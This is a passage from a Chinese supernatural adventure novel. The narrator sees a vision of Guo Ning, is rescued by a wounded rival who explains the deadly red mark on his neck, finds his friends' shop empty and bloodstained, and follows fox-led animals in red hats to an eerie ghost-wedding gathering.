“不苦,我一点都不觉得苦。”那个女人冲着郭宁微笑,但是一转眼间,她不由自主的摸了摸自己的肚子,眉宇间的忧虑就遮挡不住了,她咬了咬嘴唇,小声问道:“我是不觉得苦,可是……可是孩子……” “现在没有办法,仇人已经在这个村子附近了,他们只是暂时吃不准,也不敢冒然闯进来,咱们只要在村子外面露面,一定会被他们追上,算着日子,就这一两天,孩子就要降生了。” “自从跟了你,我自己的生死,已经不在乎了,可我舍不得孩子……” 这个女人看起来性情很温顺,虽然心痛不已,却没有跟郭宁大吵大闹,只是低着头,默默流泪。 眼前的情景,我虽然是第一次看到,却觉得很熟悉。程一背后那张脸,已经把这些往事大概和我说过了。 我知道,用不了多久,白八门和郭家旁支的人就会聚拢到小村附近,郭宁被逼的没有办法,就会从村子里冲出去。 当时听那张脸讲述这些的时候,我被深深吸引了,事后也没有朝深处想,要是仔细琢磨的话,就会觉得这里面有不正常的地方。 郭宁的妻子看上去,就是个普通的女人,不可能和郭宁那样,有多大的本事。小村被围了,郭宁能做的,就是护着自己的妻儿,硬杀出一条血路,或者是在村子里死守。 他一个人冲出去,不可能把所有的敌人都给引走,留下手无缚鸡之力的妻子,还有刚出生的孩子,不是任人宰割吗? 我觉得,像郭宁这样的人,思虑不会这么简单,也不会犯这种低级错误。 可是,这都是已经发生过的事情,郭宁这么做,必然有自己的打算。 “不要哭,不要哭……”郭宁轻轻摸着妻子的秀发,小声的安慰着。 他们说话的声音一低,我就听不太清楚了,可是我不想离开,就在原地继续等着,看看事态后续会怎么发展。 我已经忘记了时间,周围的天渐渐的黑了,小屋里燃着一盏昏沉的油灯,窗户也被破布遮挡了起来。 过了不知道多长时间,屋子里陡然传出了一阵婴儿的啼哭声。 我心里一动,这肯定是郭宁的孩子出生了。 我还想继续等下去,但是过了没多久,小屋的屋门吱呀一声被推开了。 郭宁出了屋门,径直朝我这边走了过来,他似乎早就知道我在这里窥视,等走到我面前的时候,他的表情很淡然,似乎没有任何的惊讶。 一时间,我有点不知道该怎么说了,茫然的看了看他。 “你一直在这里站着,是想看看当年到底是怎么回事?” “是……我想看看……” “当年的事,都已经发生过了,无论是你,还是我,都没有挽回的余地,有些事情,你知道了,反倒不好。” “没有什么好不好的,我知道了,也不会对别人说,只是自己心里明白就行了。” “怕的就是你心里明白,你要是什么都明白了,后果是你无法承受的。” “只是过去的事情而已,我就算知道了,能有什么后果?” “你知道了这些,就会死。” 第202章 功亏一篑 “知道了这些事情,我会死?” “孩子,你年龄还小,很多事,你是不懂的。”郭宁背着手站在我面前,他的语气很温和,眼神里的目光,纯净之极。 说实话,一个人从小到大,要经历很多事情,或者好的,或者不好的,尝遍喜怒哀乐,见惯人情冷暖。就因为心里的事多了,会从自己的眼睛里折射出来。 所以,任何一个成年人,都不可能有那种纯净的目光。 可这个郭宁,却仿佛是个例外,我从他的眼神里,看到的只是没有任何杂质的纯净。 “就因为我不懂,所以才一直在寻找答案,你能告诉我么?” “我不能害你,你很小的时候,我就见过你,你是个好孩子,走吧,不要再追问这些。” “我……” 我正要急着再问下去,陡然间,一声马匹的嘶鸣把我惊醒了,在我恢复神智的那一瞬间,眼前顿时就出现了之前的情景。 我仍旧蹲在马车上,面前是那口木箱子,拉车的马不知道什么原因,似乎又受惊了,两条后腿人立而起,马车顿时不稳,我刚从懵懂的状态里苏醒过来,一点防备都没有,身子一歪,就从马车上摔了下来。 我这边刚刚爬起来,马车就调转了方向,拉车的马好像受到了一种无声的召唤,又顺着原路朝回跑。 我不知道这是怎么回事,急忙追了上去,最开始,马车跑的还不算太快,我重新爬到了马车上,紧跟着,拉车的马就飞奔起来。 老马识途,刚刚走过的路,它不会忘记,顺着原路一口气又跑回到了平安集那里。而且,看着马车行进的轨迹,我觉得它还是要回七爷的玉方斋。 此时此刻,我不知道玉方斋那边是什么动态,根本不敢随意露面,只能临时跳下马车,重新躲藏起来。 我猜测的一点都没错,马车跑到玉方斋那边的时候,又一次冲着已经被撞开的大门冲了进去。 玉方斋里面,跟着就乒乒乓乓的一阵乱响,马车的铃铛叮铃铃的随之响起。我隔着这么远,都能感觉头脑发昏,赶紧又把耳朵给堵了起来。 刚才我在平安集外面滞留了一段时间,这边的动静早已经引起了一些人的注意,都从自家的门缝和窗户朝外面偷偷的看。这阵铃铛声响的很突然,许多人都没防备,噗通噗通的倒了一地。 我来不及去观察那些偷偷看热闹的人,心思全都在玉方斋那边,玉方斋里面肯定乱成了一锅粥,我贴着墙壁,小心的溜到玉方斋一侧的院墙下头,然后轻轻的爬了上去。 果不其然,玉方斋的后院已经一片狼藉,老杂毛被十几个人围住了,七爷,郭青秀,还有苗大奶奶都在场。这一次虽然老杂毛有备而来,但马车中间受惊自己跑了出去,没有这辆马车,老杂毛一个人被围攻,肯定会吃亏。 此时却不同了,那辆马车硬冲进去,铃铛声响起的时候,七爷那帮人全都变了脸色,纷纷用手去悟耳朵。 老杂毛趁着这个机会,猫着腰冲出去,转眼之间,就有两个膀大腰圆的汉子被放倒了。 马车的铃铛声好像没有什么可以化解的办法,唯一可行的就是死死堵住自己的耳朵,不让一丝声音钻到耳廓里去。跟老杂毛这样的高手过招,还要手忙脚乱的去捂耳朵,结果可想而知。 一帮人节节倒退,这时候,苗大奶奶也急了,她一手捂着耳朵,另一只手颤颤巍巍的从身上掏出一只竹筒,用牙齿咬掉竹筒的塞子,把里面的东西朝嘴里猛倒了一阵。 竹筒里装着的,是各种各样的虫子,都是平时连见都见不到的异种。我看到一只一巴掌长的蜈蚣,通体漆黑如墨,又长着斑斑驳驳的白点,拼命想要从苗大奶奶的嘴巴里逃出来。 苗大奶奶毫不犹豫,吭哧吭哧的就是一通嚼,她好像不知道疼痛,咀嚼之间,把自己的舌头都给咬破了。 转眼的功夫,一堆虫子被嚼的稀碎,中间还夹杂着苗大奶奶的血,随即,苗大奶奶张口一喷,一团黑里透红的雾,就嗖的一声喷薄而出。 这团雾没有被夜风吹散,飘飘荡荡的冲着老杂毛那边飘了过去,用脚后跟想想都能知道,这团雾不是什么好玩意儿,老杂毛自然也能看得出来,弯腰朝后面退了退。 黑里透红的雾就仿佛长了眼睛一样,紧追着老杂毛不放。 这时候,我看到老杂毛又受伤了,刚才马车受惊逃走,对他的影响很大,但这老东西很硬气,明知道对方人多,却硬着头皮不肯走,一来二去,被那么多人围攻,又伤的很重。 他的一条腿肯定带了伤,行走之间颇为不便,等老杂毛一转身,我就看见他后腰处的衣服被血浸透了一大片。 飘荡的雾气似乎在慢慢的扩散,雾气一膨胀,老杂毛躲闪的就更加吃力。而且,拉车的马就在旁边,要是马被弄死了,就得老杂毛自己拖着马车走。 如此一来,七爷他们算是缓了一口气,纷纷把耳朵用东西给堵上,重新围拢了过来,这一次,七爷和郭青秀他们显然是不想再让老杂毛逃走,打算把老杂毛直接弄死。 老杂毛终于呆不住了,猛然间一挺身,跑了几步,跳上马车。他手里的鞭子一挥,拉车的马立刻调转方向,朝着外面冲了过去。 老杂毛一逃走,我也不敢再呆在墙头偷看了,赶紧跳了下来,贴着墙根找了个地方躲藏起来。 老杂毛的马车冲出玉方斋之后,后面的人也停止了追赶,马车上的铃铛,始终是个极大的威胁。 我躲在墙角处,不打算抛头露面,然而,当马车从不远处经过的时候,那匹拉车的马似乎知道我就躲在这儿,仰着脖子嘶鸣了一声,紧跟着就朝我这边一路小跑而来。 我的心慌了,害怕被堵死到这里,起身就要跑。我千方百计的躲藏,就是为了避开老杂毛,谁知道阴差阳错,最后还是被老杂毛给发现了。 第203章 一场误会 被老杂毛发现的那一瞬间,我整个人都不好了,上次在邪神庙捅了他一刀的情景,不由自主的呈现在了眼前。这要是落到他手里,他肯定不会轻饶我。 让我感觉意外的是,老杂毛看见我的时候,脸上并没有露出什么愤怒和怨恨的表情,他站在马车上,朝后看了一眼。 七爷和郭青秀他们不敢追的太近,就害怕被马车的铃铛声所困扰,但是,老杂毛都打上门了,七爷他们也不可能完全置之不理,必然要尾随着看看情况。 我一下子就感觉左右为难,前面有老杂毛,后面有七爷,不管被他们谁给抓到,都不会那么好受。 我硬着头皮,就准备尝试着逃走,但是脚步刚刚一动,老杂毛手里的鞭子啪的一声就抽了过来。 鞭子几乎是贴着我的鼻尖划过去的,发出一声尖锐的破空声,我倒抽了一口凉气,要是老杂毛出手的时候稍稍再偏一点,这一鞭子估计就要把我的脸给抽烂。 “上车!” 老杂毛收回鞭子,低低的说了一句,我站在原地不知所措,现在要走,肯定走不掉,再耽误一会儿,七爷他们追上来,情况就更糟糕。 我咬了咬牙,老杂毛看样子并不想直接把我弄死,否则刚才那一鞭子,他也不会留情,反正左右无路,那就只能先保住命再说。 我起身跳上了马车,老杂毛没有耽搁,一鞭子抽出去,拉车的马加快速度,风驰电掣一般的顺着长街冲向前方。 马车这样狂奔,比人的速度快的多,很短时间内,马车就跑出了平安集,然后顺着大路奔向县城外。 当马车跑出县城的时候,七爷他们没能追上,已经被远远的甩开了,情况看起来是缓和了许多,老杂毛估计是再也撑不住了,坐在前面,身躯摇摇欲坠。 但这老家伙的骨头是真硬,都伤成这样了,依然硬着头皮死撑,马车在无人的荒野上跑的很猛,过了半个来小时,距离平安集已经很远了。 老杂毛终于放缓了速度,他对这里的地形应该不是太熟悉,拐弯抹角的又走了一会儿,来到一片山背后的隐蔽处,停下了马车。 看到马车停了下来,我的心头就是一紧,下意识的做好了防备,避免老杂毛会突然动手。 老杂毛却一声不响,慢慢看了看自己身上的伤口,然后取出药,胡乱朝伤口上抹。 我坐在旁边不敢动,也不敢说话,心里觉得有点奇怪,老杂毛看样子似乎并不想找我复仇。但我不能大意,这老家伙现在受了重伤,我还是要警惕一点,避免他缓过这股劲儿之后再搞什么幺蛾子。 老杂毛的身子骨看起来很硬朗,身上的伤虽然重,但是抹了药,又休息了一会儿,精神就好了点。 这个时候,四周黑漆漆的,头顶的月亮也没有多少亮光,在这种朦胧的环境里,我似乎还能隐隐约约看见他背上背着的那条狐狸,时不时的就显现出来。 “上一次,你跑的那么快做什么?” “上一次?”我楞了一下,随即就明白过来,老杂毛说的是我从邪神庙里逃出来的那次。 “你跑了,我只能找你。” “你找我干什么?当时要不是你一直对我动手,我也……我也不能拿刀子捅你……” “我说的不是你捅我那一刀的事情,我这辈子,身上的伤口几十上百个,被捅了一刀,只要不丢命,我也不在乎。” “那你……” “我来平安集找你,只是为了问点事情,那个鬼眼老七上次找我的麻烦,再加上他跟你为难,这次我是专门来找他说道说道的。” “你……你想问我什么事情?” “有些事,我当时想不明白,但现在……似乎也没那么重要了。”老杂毛轻轻摇了摇头,说道:“你不是我要找的那个人,应该不是。” 老杂毛至少现在没有流露出什么敌意,我的胆子就大了一点。我觉得,老杂毛要找的人,很可能跟郭青秀要找的人是相同的。 当年郭宁失踪了以后,他的儿子直接被烧成了焦炭,这肯定很让人怀疑,所以,郭家的旁支没有放弃,老杂毛多半要找的,也是郭宁的儿子。 我想要套取更多的信息,就必须能跟老杂毛搭得上话,思来想去,我就顺手指了指那个木箱子,说道:“你要找的人,是他……他的儿子?” 一听到我的话,老杂毛果然有点震惊,抬头看了看我。 “你怎么知道?” “我猜的。” 老杂毛的回答,一下子就印证了我的猜想,他果然是在寻找郭宁的儿子的。 而且,我同时还明白了,当初在邪神庙被老杂毛抓住以后,他为什么要在我脑袋上开个口子。 他肯定也和郭青秀一样,在我身上察觉到了郭宁留下的印记,所以就对我的身份产生了怀疑。 但是,等在我脑袋上开了口子以后,老杂毛很可能已经认定,我并不是郭宁的儿子。只不过,他心里必然会和郭青秀一样疑惑,不知道我身上和郭宁相关的烙印,究竟是怎么来的。 所以,老杂毛肯定想要找到我,询问相关的情况。 “大概,鬼眼老七他们找你,也是为了试探试探,你是不是他的儿子。” “没错,他们试探过了,我不是。” “我知道你不是,原本我想找你问一下,你身上怎么会有这个人的烙印,后来想想,或许也没那个必要了,要是能找到你,就顺便问问,真找不到,我也不强求。” “我的确知道一些事情,不过不太多。你说的这个人……”我也跟着指了指木箱子,说道:“他出事之前,就是躲在我们家那个小村子的,我那时候刚刚四五个月,他可能见过我。” “是这么回事……” 我觉得,现在最起码能和老杂毛说到一块儿去了,之前在邪神庙的冲突,或许真的是个误会。我正打算接着说下去,陡然间就感觉自己的脖子猛然一疼。 一股鲜血,似乎是从皮肤下面直接渗了出来,我用手一摸,就摸到了一片殷红的血迹。 第204章 自救之法 这已经不是第一次遇见这种情况了,我心里叫苦不迭,脖子上的红印发作的毫无征兆,说来就来。这时候幸亏没跟老杂毛动手,否则的话,我又得吃大亏。 这一次发作,让我感觉比之前更严重了,以前不管怎么说,咬着牙还能挺过去,最起码神智是正常的。 可这一次脖子上的血迹渗出来之后,我明显感觉整个人都虚了,就仿佛害了一场大病,手脚一下子变的冰凉。 脖子上的红印仍旧不怎么明显,不仔细看就看不出来,可是,我觉得自己的脑袋好像在脖子上面晃晃悠悠的,随时都会掉下来一样。 此时此刻,我虽然没有照镜子,也能感觉到自己的脸肯定惨白惨白的,喘不上气,心慌气短。 老杂毛在一旁没动弹,只是盯着我看,估计也是在分辨我有没有耍花招。看了两分钟,他确定我是真的碰到事儿了,这才伸手扶了我一把。 我整个人站都站不稳,直接半躺到了马车上,这不是受伤,也不是有病,老杂毛肯定没什么办法。 不过,他注意到我脖子上渗出的血迹,眉头立刻一皱。 既然没有办法,那就只能死撑着。我渐渐的感觉,三魂七魄都要出窍了,仿佛自己就在鬼门关外面飘荡着,随时都会被收进去。 这种要命的感觉持续了有几分钟时间,才慢慢的消退。我虽然难受的要死,但还是暗中计算着时间,我觉得,现在脖子上的红印发作,持续的时间越来越长了。 我真的不敢想象,这样的感受如果持续个二三十分钟,我是不是会直接挂掉。 当脖子上的痛感渐渐消失,我才长长的松了口气。但是很快,我就感觉到不太对。 以前几次发作,都很严重,不过一旦发作过去,体力和精神就可以很快的恢复,最多也就是一两分钟的事。 可是这一次过了有好几分钟,我依然感觉乏力,没有精神,手脚还是冰凉冰凉的。 “你的运气好像不怎么样。”老杂毛刻意看了看我的脖子,说道:“这么倒霉的事,也被你碰见了。” “你知道这是怎么回事?” “知道一点。” “这到底是什么?” “没人说得清楚这是什么,你既然是白八门的人,和我多少有点渊源,我说的话,你应该听得懂。” 这种脖子上出现红印的情况,并不是最近几年才有的,在很早很早以前,其实就已经存在了。 第一个脖子上出现红印的人,就是我们白八门的祖师爷。 红印究竟是怎么来的,又是怎么缠上某个人的,现在已经说不清楚了,当年的祖师爷,也被这种情况深深的困扰着。 他想了很多办法,却一直没有合适的法子去化解。 但是这个问题,最终还是被祖师爷给化解了。传闻,祖师爷死去的时候没有尸体,也就是传说中的尸解。他直接舍弃了自己的肉身,羽化成仙了。 肉身都无存了,脖子上的红印自然也就灰飞烟灭。 我终于彻底的明白了,师傅当年为什么会到处寻找葬经的终篇,因为只有拿到完整的葬经终篇,参悟到了祖师爷的心得境界,才有可能尸解,彻底化解这个死结。 尽管我以前也猜到过这一点,可是等到现在完全确认之后,我的心就彻底凉透了。 白八门那么多代人,都无法完成的事情,让我怎么去完成? 老杂毛说,脖子上的红印时间越久,发作的就会越厉害,最开始的时候,或许没有别的什么影响,但是这东西会极大的损耗人的元气。 人的生老病死,说白了就是体内元气的变化所导致的,元气被不断消耗,肯定越来越糟糕。 当年师傅和毛叔能撑那么久都不死,就是一直用能补元气的东西在硬顶着。就这么顶了十几二十年,最后还是没能逃过一劫。 “事到如今,你想的再多也没啥用,还是顺其自然吧。葬经的终篇,那不是想得到就得到的,你还年轻,唯一的办法,就是找些能补元气的东西,先吊着自己这条命。” 老杂毛的话,其实已经说的很明白了,我现在的情况,基本等于没救,找些东西补元气,也只是苟延残喘,不能解决根本的问题。 我的手脚不仅冰凉,心也凉透了。我还年轻,不想就这么死掉,可是自己的运气那么差,偏偏遇见这种事情,唉声叹息也改变不了命运。 “从这里朝南边走上大概一百多里,有个黄县,那边有很多人再卖药,去碰碰运气吧。” 老杂毛说完这几句话,重新登上马车,一甩鞭子,马车立刻就走了,我呆在原地站了至少有二十分钟,冰凉的手脚才有了一丝温度。 我的情绪顿时低落到了极点,明知道自己要死,却偏偏没有任何办法。 天还是黑着的,我慢慢的朝回走,一直走回到平安集。我和老杂毛在县城外头呆了这么长时间,平安集已经平静了下来,街上看不到一个人,只是经过玉方斋附近的小路时,才看到有几个人正在收拾被撞坏的大门。 我悄悄的回到了寿衣店,程白鹤他们早已经醒了,小皮和程一正在打算要出去找我。一看到我失魂落魄的样子,都以为我出了什么事。 他们俩和我说话,我随便应付了几句,回到自己屋里,直接坐到了床上。 我在想,接下来的路该怎么走。尽管面前是一条死路,可我还是不想就这样丧失所有的信心。师傅也是很多年前就出现了这样的情况,但是靠着自己的努力,还是活了这么多年。 十几年的时间里,什么事情都可能发生,我自己不断的劝说自己,情绪渐渐稳定了一些。 我耳边还是萦绕着老杂毛的话,现在想活下去,就要想办法自救,我要到老杂毛说的那个叫黄县的地方,去碰一碰运气。 第205章 意外情况 我心里做好了打算,面临死路的时候,就只有拼一拼了。 我大概计划了一下,这一次要到黄县去,不知道得滞留多长时间,那些真正能补元气的东西,并不是好找的。所以,临走之前还是要把乱七八糟的事情处理一下。 我简单收拾了行李,和程一还有小皮简单说了几句。在这里呆了这么长时间,和他们相处的很好,临别之际,心里的确有点舍不得。 “唉……五满哥,不想让你走,可是知道你有要紧事,我……我就祝你一路顺风,平平安安吧。” “知道了,小皮,有空我还会回来找你们。” 我和小皮说话的时候,程一就一直低着头不言语。等我们说完,转头望向程一的一刹那间,我心里突然就生出了一丝挺奇怪的感受。 从小到大,因为环境的原因,我还从来没有跟一个姑娘接触过这么长时间。 我想起和程一认识之后的那些点点滴滴,心里就很感慨,那种不舍的感觉,越来越浓重了。 “小皮,你先出去一下。” “又赶我走……” 小皮嘟嘟囔囔的,不过现在不是开玩笑的时候,他还是乖乖的退到了门外。 等到小皮一走,程一轻轻叹了口气,说道:“我和小皮一样,不想让你走,但又不能耽误你的事。黄县那个地方,我知道,很多卖药材的,你过去找药,身上没钱也不行。我这里钱不多,你拿着,留着应急用。” “不不不,这不行……” “咱们俩在一块儿,以前差点连命都一起丢了,这点儿钱你还放在心上?” 程一说着话,硬把她准备好的钞票塞到了我手里。 这一瞬间,我心头那种异样的感觉,又变成了一股融融的暖流,似乎把整个人都给融化了。 从小到大,我能感受到的,只是父母的爱,师傅的关怀,但是像这样来自一个异性的关心,为数不多。 我看得出来,程一的神情有些失落,我的心也跟着软了。 “我要出门去办点事,大概几天时间,等我去黄县的时候,还得路过这里,到时候来看你。” 我们俩说了好一会儿话,反正也睡不着了,就一直等到了天色微微发亮。 小毛出去观察了一圈,老杂毛没有再回来,七爷的玉方斋已经被打的稀巴烂,临时找了几块木板把大门给挡住了。 小毛没有看到七爷他们,我估计昨天晚上老杂毛受了伤,七爷他们也不好受,而且被邪神庙的人找上了门,七爷和郭青秀一定会想对策。这个节骨眼上,他们应该不会再注意到我了。 事不宜迟,我马上带着收拾好的东西,一路离开了平安集。 出了平安集,环境就安全了,顺利的赶到了红石村。我离开红石村已经有段时间了,等到了村口的时候,就看见大甜瓜穿着一身花棉袄,百无聊赖的坐在大树下面发呆。 看到我回来,大甜瓜一下子就精神了,一溜小跑的赶了过来,我找她问了问,才知道这段时间里,石头的情况并没有什么明显的好转。 不过,倒是也没有继续恶化,每天都和个植物人一样,不会说话不会动,二婶精心照顾着他,也只能先这么拖着。 我和大甜瓜朝村里走的时候,之前所产生的那个念头,就更加强烈了。石头这一次叫我到邪神庙去,肯定不是去找救他的东西或者是人,他好像只是单纯的让我知道,有邪神庙这么个地方。 二婶把石头照顾的很好,但我也不敢保证,石头始终是这种状态的话,时间久了会不会还有别的意外。 反正这次我要到黄县去,那地方很多做药材生意的人,肯定也有懂医术的,到时候碰碰运气,看能不能遇见个高人。 我心里满满当当装的都是事,在红石村这个宁静的地方住了几天,始终都心不在焉的。二婶和大甜瓜也都大概知道我现在的困境,大甜瓜虽然不乐意一直住在这儿,但为了保我的命,她也只能暂时将就一下。 我在红石村呆了大概有一个星期的时间,把精神彻底养好,然后就重新动身,赶往黄县。 我还记得答应程一的事,等途径平安集的时候,就专门绕了一段路,过来看看她。我就害怕七爷他们会在平安集这边出现,然后发现我,多一事不如少一事,我就专门趁着晚上入夜之后,才悄悄进了平安集。 平安集的路,我已经走的很熟了,闭着眼睛都不会走错,原本以为这个时间点,平安集的人都已经关门回家了,但是快要走到寿衣店的时候,我就发现寿衣店的外头,聚拢了一帮人。 起初,我还以为是七爷的人又来找程白鹤的麻烦,但是仔细看了看,我发现那都是程白鹤家的左邻右舍,围在大门外头嘀嘀咕咕的。 我心里一紧,程白鹤开的是寿衣店,平常要是没什么事的话,也没人会到这里串门,现在都这么晚了,店门外还聚拢着一群人,让我隐隐感觉到了不妙。 我不知道具体是什么情况,也不敢马上就露面,拉了拉衣领,又把头上的帽子朝下压了压,然后低着头顺着墙角的阴暗处,慢慢走了过去。 我刚刚走到店门不远的地方,就看到有几个人从寿衣店里走了出来。 “看清楚是怎么回事了吗?” “程老板家的后院,好像……好像没有人。” “没人?那刚才的动静,是怎么弄出来的?” “我们也不知道啊,不过,我觉得事情可能不太妙……” “啥意思?” “程老板两口子都不在,就连平时那个上蹿下跳的小皮也不在,人都没了,后院的地上,到处都是血……” “哎呀!到处都是血!那准保是出事了!赶紧,赶紧去找七爷……” 我一听到这些话,就感觉眼前发黑,连头带尾,我就走了大概十来天,可今天刚刚回来,就碰见程白鹤家里出了事。 我不知道究竟是什么情况,但肯定很糟糕,程白鹤不是一般人,万花门也不是软柿子,谁想捏就捏,敢对程白鹤下手的人,一定大有来头。 第206章 红帽子 现在人多眼杂,我也不方便露面,只能继续等着。 平安集出了这么大的事,这帮人也不想惹麻烦,以前有类似的情况,基本都是请七爷出面,有两个人就急匆匆的跑去了玉方斋。 但是,玉方斋这几天时间一直都关着门,店里只剩下两个跑腿打杂的小伙计,七爷和郭青秀都不在。两个小伙计做不了主,这样的事情只能丢下不管。 如此一来,寿衣店的事情就没人包揽了,这些左邻右舍都不傻,发现寿衣店的后院有那么多血迹,就知道肯定是棘手的事,七爷不在平安集,他们谁也不敢出头,很快就散去了。 现在的天色还没有完全大亮,我心里急的要死,没怎么犹豫,从寿衣店后院的院墙就翻了进去。 当我翻墙进去的那一瞬间,果然就看到后院的地面上,洒落了一片斑斑驳驳的血迹,不仅如此,就连院子里那棵松树的树干,还有一旁的石桌上,全都有血。 我伸手沾了一点血,血迹已经干了,但干的不是很透彻,这就说明,这片血迹最多也就是几个小时之前留下的。 除了这些血迹,我看不出特别明显的打斗的痕迹。情况不是很正常,程白鹤不算是什么绝顶的人物,但也绝对不是普通人。 几个小时之前,还在夜里,要是打斗的动静大了,左邻右舍不可能全然没有察觉。 也就是说,程白鹤他们肯定是没怎么还手,就出现了意外。 我想不出什么人会有这么大的本事,脑子里第一个想到的就是七爷和郭青秀。 我急忙在四周继续查找,在我仔细的观察之下,很快就发现,有一串血滴,在地上歪歪斜斜的留下了痕迹,这串痕迹一直延伸到了另一面院墙,然后消失了。 血迹不可能就这么消失,只有一种可能,那就是流血的人顺着墙壁翻了过去。 院子里肯定是没人了,没有别的办法,我只能出去找。我觉得,人肯定不在平安集,甚至都不在县城里面了。 我不断的扩大寻找范围,同时还在找人打听,但没有一个人知道昨晚发生了什么。渐渐的,我就到了县城的外面。 越是这么寻找,我的心里就越慌,我不怕情况有多危险,就怕没有一点点线索,连程一他们现在大概的下落都不清楚。要是拖的时间久了,我不敢保证他们能不能保住命。 就这样,我寻找的范围越来越大,绕着县城整整转了一圈,一天时间很快就过去了,到了天黑的时候,我还是一无所获。 但是,现在根本就没有办法放弃寻找,我和程一两个人抛开别的不提,就当初在邪神庙已经算是同生共死,过命的交情,我不可能丢下她不管。 天色彻底黑下来之后,我已经走到了距离县城至少三十里的地方,这里已经是一片荒野,袅无人烟。 我实在走的累了,一屁股坐了下来,心里越想越是无力,越想越是难过。 只不过,有再多的情绪,现在也只能全都强压下来。我坐着休息了大概半个来小时,继续起身接着去找。 我心里有种不安的感觉,从昨天夜里到现在,时间过去的也不算短了,如果程一他们是逃到了县城外面,那还好一些,要是他们被追上,又被带走,就彻底失去了希望。 这时候,一阵咔嚓咔嚓的声音,打断了我的思路,我现在走到了一片稀稀疏疏的小树林旁边,天气一凉,树上的叶子全都掉了,地上铺了厚厚一层落叶,只要有人从树林里经过,肯定会发出声音。 我暂时不知道现在是什么情况,立刻抽身就躲了起来。 那阵咔嚓咔嚓的声音,肯定是踩到落叶的声音,而且,距离我不算太远。 过了大概有四五分钟时间,两团影子,从树林里出现了。我对县城外面的地形不是很熟悉,只是隐约知道,树林里有一条小路,横穿小路的话,可以节省不少时间。 那两团从树林里出现的影子,多半就是为了省点力气,专门抄近路的。 等到影子彻底走出树林的时候,我顿时就呆住了。 我一直以为,是两个人在树林里行走,但那两团影子不是人,看起来很怪。 从外表来看,那两团影子像是两条狗,很大的狗,和小牛犊子似得,浑身黄不溜秋的毛,在一片萧瑟的荒野里,它们的皮毛和枯黄的草木几乎融为了一体,如果不是我察觉到了声音,估计都看不出这两条狗一样的玩意儿。 每条大狗的背上,都骑着一只尖嘴猴腮的狐狸,狐狸这东西,我们小时候在乡下经常见,所以并不陌生。但是,骑在狗背上的狐狸,头上都戴着一顶小小的红帽子,龇牙咧嘴的,像是在窃窃私语。 我长这么大,还是第一次遇见这样的情况,又觉得意外,又觉得诡异。 这两只戴着红帽子的狐狸出了树林以后,就朝着西边走了,我找了整整一天,毛都没发现一根,现在碰到了这种反常的情况,肯定是要跟过去看看的。 最开始的时候,两条大狗驮着狐狸,跑的很快,我不敢跟的太近,怕被发现,但跟的远了,又会被甩开,断断续续的跟了能有三四里地,前面的荒野沟壑起伏,地势顿时复杂起来,两条狗也走的慢了。 走到这片沟壑地的边缘时,两条狗就停住了脚步,两只狐狸人模狗样的,在狗背上坐的端端正正。 这时候,从起伏的沟壑里,陆陆续续的传出一阵一阵沙沙的声音,我离的有点远,看不清楚具体的情景。但是,只从声音就能分辨出,这片沟壑里,肯定有什么东西要出来了。 果不其然,仅仅过去了几分钟,沟壑中前前后后爬出来至少几十只乱七八糟的小动物,都是我们这边的山里常见的玩意儿。 我就是乡下长大的人,见到这些东西,肯定吓不住我。可是,这些东西清晰的出现在视线中之后,我又一次感觉到了难言的诧异。 这些大大小小的野物的头上,都戴着一顶红帽子。红帽子就是用染红的土布做出来的。 那么多杂七杂八的东西,全顶着红帽子,聚拢在沟壑的边缘,上蹿下跳,看的我一头雾水。 第207章 鬼结亲 情况莫测,我不敢露面,依然隐藏着。我不知道眼前的怪事,和程白鹤他们家里的事情有没有关系,但是无头无脑的找了这么老半天,碰到怪事,还是的耐着性子继续观察。 几十只大大小小的野物聚拢到沟壑的边缘,那两只骑在狗背上的狐狸随后就又调转了方向,朝着北边走去。 我悄悄的跟在后面,保持着二三十米的距离,两只骑着狗的狐狸在前头带路,沿着沟壑的边缘走了大概有几里路,北面就出现了一片高低起伏的山。 平安集附近的山都不算高,而且比较荒,没有特产也没有景色,平时几乎无人涉足,我对这里的地势两眼一抹黑,心里就越来越紧张了。 我看着两只狐狸带着这一大帮子乱七八糟的玩意儿,从两座小山之间的小路走了过去,等到它们全都消失在小路的拐弯处时,我才起身打算继续跟过去看看。 就在这一刻,我突然听到,从小山背后传来了一阵呜里哇啦的声音。这声音很奇怪,听着好像有点熟悉,但一时间又分辨不出来。 我蹑手蹑脚的来到了小路的路口,山间的路曲曲折折,也看不清楚具体什么情况,只能听到那阵断断续续的奇怪声音,不断的传到耳边。 山背后的地势更复杂了,到处都是凌乱的石块,我跟到一半儿,就发现那两只狐狸带着这些东西朝着紧贴小山山背的地方走去。 等我又跟过去大概有一百米远,立刻停下脚步,下意识的就缩到了一旁的石头后面。 这片荒山看起来好像没什么东西,只有那阵奇怪的声音,但是我能看到,在山背后,有一个不大的山洞,山洞外头的地面被平整出了一块。 一群一群乱七八糟的野物,在这片空地四周围了一圈。这些玩意儿的头上,都有一顶用染红的布做出来的帽子。 与此同时,那阵奇怪而且断断续续的声音,更加清晰了,我终于分辨出来,这是胡琴和唢呐还有鼓的声音。 民间办红白喜事的时候,总会请上一个响器班子,吹吹打打的热闹两天。但山背后的情况有点不一样,摆弄乐器的,都是怪模怪样的野物,一个个坐在石头上,拿着唢呐和胡琴胡乱扒拉,发出的声音才听起来那么怪。 我是彻底搞不明白,这究竟是怎么回事了。 就在我全神贯注的注视那边的时候,从山背上那个小小的山洞口里面,走出来一个人。 这个人一出现,那些躁动的野物全都安静了下来,乱七八糟的声音也戛然而止。 我没见过这个人,但是从眼前的这一幕,就能看出来,这不是个善茬。山里的这些野物,毕竟不通人性,如果不是彻彻底底能降服住它们的人,就不可能把它们弄的服服帖帖。 这是个老头,看着已经七老八十了,头上稀稀拉拉的几根头发,拄着一根拐棍,颤颤巍巍的,好像随时都会咽气的样子。 “别拘谨,都别拘谨。今天是个好日子,把你们都喊来,就是大伙儿一起热闹热闹,放开了撒欢,别拿自己当外人……” 这个老头儿笑眯眯的喊了两嗓子,那边乱七八糟的响器声,就又传了出来。 我实在是没想到,在这种地方还会有人,而且看着那老头儿的样子,在这里显然不是呆了一天两天了,跟山里这些乱七八糟的野物好像都很熟的样子。 老头儿的确老的快要走不动了,离了拐棍就站不稳,他抬头看了看半空的月色,自己估算了一下,侧过脸,对着身后的山洞喊道:“时辰差不多了,赶紧的,别耽误了正事。” 老头儿的话音一落,从后面的小山洞里,又出现了几团影子。那几团影子肯定是人,一共三个。 这三个人从小山洞里走出来的那一瞬间,我就好像被针给扎了一下似的,双眼顿时就睁圆了。 从山洞里走出来的三个人里面,有两个是看上去有五十来岁的大婶子。都是这么大岁数的人了,但是描眉画眼的,弄的和鬼一样,身上还穿着大红色的衣服。 